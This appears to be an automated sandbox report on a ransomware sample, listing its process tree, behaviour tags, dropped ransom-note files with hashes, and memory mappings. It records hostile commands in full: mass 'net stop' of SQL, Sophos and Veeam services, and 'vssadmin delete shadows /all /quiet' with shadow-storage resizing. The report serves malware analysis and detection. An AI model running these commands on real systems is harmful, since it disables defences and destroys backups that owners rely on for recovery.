C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLAgent$PROD" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$PROD" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLAgent$PROFXENGAGEMENT" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$PROFXENGAGEMENT" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLAgent$SBSMONITORING" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SBSMONITORING" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLAgent$SHAREPOINT" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SHAREPOINT" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLAgent$SOPHOS" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SOPHOS" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLAgent$SQL_2008" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SQL_2008" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLAgent$SQLEXPRESS" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SQLEXPRESS" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLAgent$SYSTEM_BGC" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$SYSTEM_BGC" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLAgent$TPS" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$TPS" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLAgent$TPSAMA" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$TPSAMA" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLAgent$VEEAMSQL2008R2" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2008R2" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "SQLAgent$VEEAMSQL2012" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLAgent$VEEAMSQL2012" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "ReportServer$SQL_2008" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer$SQL_2008" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "ReportServer$SYSTEM_BGC" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer$SYSTEM_BGC" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "ReportServer$TPS" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer$TPS" /y3⤵
-
C:\Windows\SysWOW64\net.exe"C:\Windows\System32\net.exe" stop "ReportServer$TPSAMA" /y2⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ReportServer$TPSAMA" /y3⤵
-
C:\Windows\SysWOW64\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
-
C:\Windows\SysWOW64\vssadmin.exe"C:\Windows\System32\vssadmin.exe" resize shadowstorage /for=D: /on=D: /maxsize=401MB2⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\SysWOW64\vssadmin.exe"C:\Windows\System32\vssadmin.exe" resize shadowstorage /for=D: /on=D: /maxsize=unbounded2⤵
- Enumerates connected drives
- Interacts with shadow copies
-
C:\Windows\SysWOW64\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
-
C:\Windows\SysWOW64\vssadmin.exe"C:\Windows\System32\vssadmin.exe" resize shadowstorage /for=C: /on=C: /maxsize=401MB2⤵
- Interacts with shadow copies
-
C:\Windows\SysWOW64\vssadmin.exe"C:\Windows\System32\vssadmin.exe" resize shadowstorage /for=C: /on=C: /maxsize=unbounded2⤵
- Interacts with shadow copies
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Drops startup file
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\[HOW TO RECOVER FILES].TXT1⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\[HOW TO RECOVER FILES].TXTMD5
ceb027fc77c8dcb9379d8c820a17f057
SHA1f25fe6da7e299e071b87b3ef220155034c965595
SHA2561149ecae869f38c37cba49cb92227d5cdf6dd00679ba4ed6d31eb354e783b6da
SHA5125535b8f9bc0ed4062a7e98eb567967bf43702560a193d4289caec43c63d5e2594872a89b5ce9e45cb3947ab5a0e2685e3a8fb83d09d7ba62eb2b1d423062d83a
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\[HOW TO RECOVER FILES].TXTMD5
ceb027fc77c8dcb9379d8c820a17f057
SHA1f25fe6da7e299e071b87b3ef220155034c965595
SHA2561149ecae869f38c37cba49cb92227d5cdf6dd00679ba4ed6d31eb354e783b6da
SHA5125535b8f9bc0ed4062a7e98eb567967bf43702560a193d4289caec43c63d5e2594872a89b5ce9e45cb3947ab5a0e2685e3a8fb83d09d7ba62eb2b1d423062d83a
-
C:\Users\Public\Desktop\[HOW TO RECOVER FILES].TXTMD5
ceb027fc77c8dcb9379d8c820a17f057
SHA1f25fe6da7e299e071b87b3ef220155034c965595
SHA2561149ecae869f38c37cba49cb92227d5cdf6dd00679ba4ed6d31eb354e783b6da
SHA5125535b8f9bc0ed4062a7e98eb567967bf43702560a193d4289caec43c63d5e2594872a89b5ce9e45cb3947ab5a0e2685e3a8fb83d09d7ba62eb2b1d423062d83a
-
memory/404-167-0x0000000000000000-mapping.dmp
-
memory/416-117-0x0000000000000000-mapping.dmp
-
memory/420-152-0x0000000000000000-mapping.dmp
-
memory/604-165-0x0000000000000000-mapping.dmp
-
memory/604-128-0x0000000000000000-mapping.dmp
-
memory/656-120-0x0000000000000000-mapping.dmp
-
memory/816-157-0x0000000000000000-mapping.dmp
-
memory/828-171-0x0000000000000000-mapping.dmp
-
memory/864-121-0x0000000000000000-mapping.dmp
-
memory/888-129-0x0000000000000000-mapping.dmp
-
memory/920-125-0x0000000000000000-mapping.dmp
-
memory/1084-168-0x0000000000000000-mapping.dmp
-
memory/1108-156-0x0000000000000000-mapping.dmp
-
memory/1120-173-0x0000000000000000-mapping.dmp
-
memory/1152-116-0x0000000000000000-mapping.dmp
-
memory/1156-154-0x0000000000000000-mapping.dmp
-
memory/1176-155-0x0000000000000000-mapping.dmp
-
memory/1220-170-0x0000000000000000-mapping.dmp
-
memory/1332-118-0x0000000000000000-mapping.dmp
-
memory/1424-153-0x0000000000000000-mapping.dmp
-
memory/1636-162-0x0000000000000000-mapping.dmp
-
memory/1684-137-0x0000000000000000-mapping.dmp
-
memory/1700-175-0x0000000000000000-mapping.dmp
-
memory/1780-133-0x0000000000000000-mapping.dmp
-
memory/1816-151-0x0000000000000000-mapping.dmp
-
memory/1928-139-0x0000000000000000-mapping.dmp
-
memory/1940-164-0x0000000000000000-mapping.dmp
-
memory/1952-174-0x0000000000000000-mapping.dmp
-
memory/2024-147-0x0000000000000000-mapping.dmp
-
memory/2080-138-0x0000000000000000-mapping.dmp
-
memory/2128-177-0x0000000000000000-mapping.dmp
-
memory/2180-124-0x0000000000000000-mapping.dmp
-
memory/2180-161-0x0000000000000000-mapping.dmp
-
memory/2212-176-0x0000000000000000-mapping.dmp
-
memory/2236-144-0x0000000000000000-mapping.dmp
-
memory/2492-141-0x0000000000000000-mapping.dmp
-
memory/2536-136-0x0000000000000000-mapping.dmp
-
memory/2748-135-0x0000000000000000-mapping.dmp
-
memory/2764-169-0x0000000000000000-mapping.dmp
-
memory/2900-150-0x0000000000000000-mapping.dmp
-
memory/2936-145-0x0000000000000000-mapping.dmp
-
memory/3000-178-0x0000000000000000-mapping.dmp
-
memory/3196-146-0x0000000000000000-mapping.dmp
-
memory/3228-143-0x0000000000000000-mapping.dmp
-
memory/3252-131-0x0000000000000000-mapping.dmp
-
memory/3440-115-0x0000000000000000-mapping.dmp
-
memory/3520-163-0x0000000000000000-mapping.dmp
-
memory/3520-126-0x0000000000000000-mapping.dmp
-
memory/3552-149-0x0000000000000000-mapping.dmp
-
memory/3636-160-0x0000000000000000-mapping.dmp
-
memory/3704-134-0x0000000000000000-mapping.dmp
-
memory/3760-166-0x0000000000000000-mapping.dmp
-
memory/3796-148-0x0000000000000000-mapping.dmp
-
memory/3948-123-0x0000000000000000-mapping.dmp
-
memory/3952-122-0x0000000000000000-mapping.dmp
-
memory/3960-158-0x0000000000000000-mapping.dmp
-
memory/3964-127-0x0000000000000000-mapping.dmp
-
memory/3972-159-0x0000000000000000-mapping.dmp
-
memory/3984-132-0x0000000000000000-mapping.dmp
-
memory/3988-172-0x0000000000000000-mapping.dmp
-
memory/4004-140-0x0000000000000000-mapping.dmp
-
memory/4016-130-0x0000000000000000-mapping.dmp
-
memory/4056-119-0x0000000000000000-mapping.dmp
-
memory/4068-142-0x0000000000000000-mapping.dmp